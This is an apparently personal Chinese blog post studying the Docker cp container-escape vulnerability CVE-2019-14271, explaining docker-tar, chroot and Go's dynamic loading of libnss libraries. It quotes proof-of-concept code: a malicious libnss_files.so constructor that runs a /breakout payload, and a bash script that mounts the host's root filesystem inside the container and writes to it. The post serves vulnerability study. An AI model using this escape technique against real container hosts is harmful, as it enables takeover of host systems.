理解Docker cp漏洞CVE-2019-14271

最新推荐文章于 2023-03-26 14:08:03 发布

Iwanturoot

最新推荐文章于 2023-03-26 14:08:03 发布

阅读量733

点赞数 2

分类专栏： VulnReviewing 漏洞原理文章标签： docker 安全漏洞渗透测试网络安全 cve

本文链接：https://blog.csdn.net/qq_32731075/article/details/118000201

版权

漏洞原理同时被 2 个专栏收录

41 篇文章 9 订阅

订阅专栏

VulnReviewing

32 篇文章 3 订阅

订阅专栏

理解Docker cp漏洞CVE-2019-14271

一、docker cp
二、漏洞原理

本文基于下面链接文章对CVE-2019-14271进行理解

迄今为止最严重的容器逃逸漏洞：Docker cp命令漏洞分析
这篇文章读了很久，反复琢磨才逐步搞懂它的原理，来之不易！！！
首先我们来了解以下docker cp的原理

一、docker cp

命令

docker cp test:/var/log /tmp

上面的命令表示将容器test的/var/log目录里的文件复制到宿主机的/tmp文件夹下面
在这个过程中借助了一个名叫docker-tar的帮助进程，文章中是这样验证的
首先在后台执行

docker cp test:/var/log /tmp &

然后执行

ps afx | grep -v grep | grep -B 1 docker-tar

来查看进程信息
我试了下，可能是我的log文件夹太小了，我啥也没查出来。
在这里插入图片描述
这是文章中查到的，注意这里的进程号20618，待会要用到！
docker-tar的原理其实是使用了chroot，其实就是设置了一个根目录，将要请求的文件与目录放到这个根目录中去，生成一个tar文件，然后再将这个tar文件交给docker的守护进程，由守护进程将文件复制到目标文件夹中去。
什么是chroot？自行百度，我也是现场查的！！
为什么要用chroot呢？文章中解释是因为为了避免符号链接导致问题，因为复制过程中，如果目录中有符号链接的话，该符号链接可能被解析为宿主机的根目录，那么攻击者就可以利用这一点越过容器对宿主机文件系统进行操作。当使用chroot之后，所有的请求文件都被放在这个自定义的根目录下，自然就避免了这个问题。
上面就是关于该漏洞的一些预备知识

二、漏洞原理

docker是使用golang语言编写的，易受攻击的是使用go v1.11版本编写的
在这个版本中，某些嵌入式的C语言软件包会动态加载动态链接库文件，这些软件包包括net os/user，这些软件包在运行的时候会加载多个libnss_*.so库文件。而docker-tar在运行的时候会调用这个软件包，也就会执行动态链接库文件，通常该动态链接库文件时从宿主机的文件系统中加载的，但因为使用了chroot将根目录定义到容器中了，那么在加载库文件的时候就是从容器的文件系统中加载的，那么也就是说，容器中的命令可以影响到宿主机！！如果某个动态链接库文件中包含恶意代码，那么宿主机就会被攻击，可以看出，前提是我们拥有对容器的控制权，那么我们怎么获得这个控制权呢？

自己生成一个包含恶意动态链接库的文件
攻陷一个容器，替换掉他的正常库文件

另外重要的一点文章说到，docker-tar并没有被chroot到容器中，那么docker-tar就拥有宿主机当前用户的权限，如果宿主机的用户是root?后果不堪设想！！
上面提到了我们需要一个libnss_files.so库，直接上网上下载，然后往这个库里面添加一个恶意的函数run_at_link
让我们看看大佬是怎么写这个函数的

#include ...
 
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
 
bool is_priviliged();
 
__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break[2];
     if (!is_priviliged())
           return;
 
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
     fprintf(log_fp, "switched back to the original libnss_file.so");
 
     if (!fork())
     {
 
           // Child runs breakout
           argv_break[0] = strdup("/breakout");
           argv_break[1] = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // Wait for child
 
     return;
}
bool is_priviliged()
{
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

如果我没有猜错，这是用c语言写的，C语言我就会个皮毛，我们姑且一看。
在这里插入图片描述
大佬先写的这个，意思大概就是说我们的这个恶意的库文件首先只能被docker-tar使用，因为其他的进程运行中也可能会使用这个库，这就会导致混乱。判断的方法就是判断/proc目录是否为空，因为/proc上procfs–进程文件系统，仅存在于容器挂载的命名空间中，说实话这句话我没怎么懂！！
在代码中应该就是is_priviliged这个函数
在这里插入图片描述
可一看到，首先去打开一个此然存在的文件/proc/self/exe，如果proc为空那么返回值proc_file就为空，那么就会返回true。
然后回到代码开头

当is_priviliged为true的时候就不会return，继续进入下面的语句！
然后大佬这么写的
在这里插入图片描述
替换库文件，应该是这段代码

然后是这个

就是让这个恶意的动态链接库去找/breakout文件，这个文件中就是真正的恶意代码了！
这个文件中是这么写的

#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs


mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil

我们来解读一下这段代码，首先将容器中的/host_fs解除挂载如果成功，那么删除它，然后新建一个目录。
然后将主机的proc文件挂载到容器的/proc上
然后进入到容器的/proc/1/root中，其实是进入到了宿主机中，1表示root用户
然后挂载宿主机的root文件系统到容器的/host_fs中
最后向主机的evil文件中写一句话！！！！
这里还要满足一个条件，因为.so文件是只有root用户才能操作的，所以为了避免这个问题，千万不要用root身份运行容器。
这里有个演示视频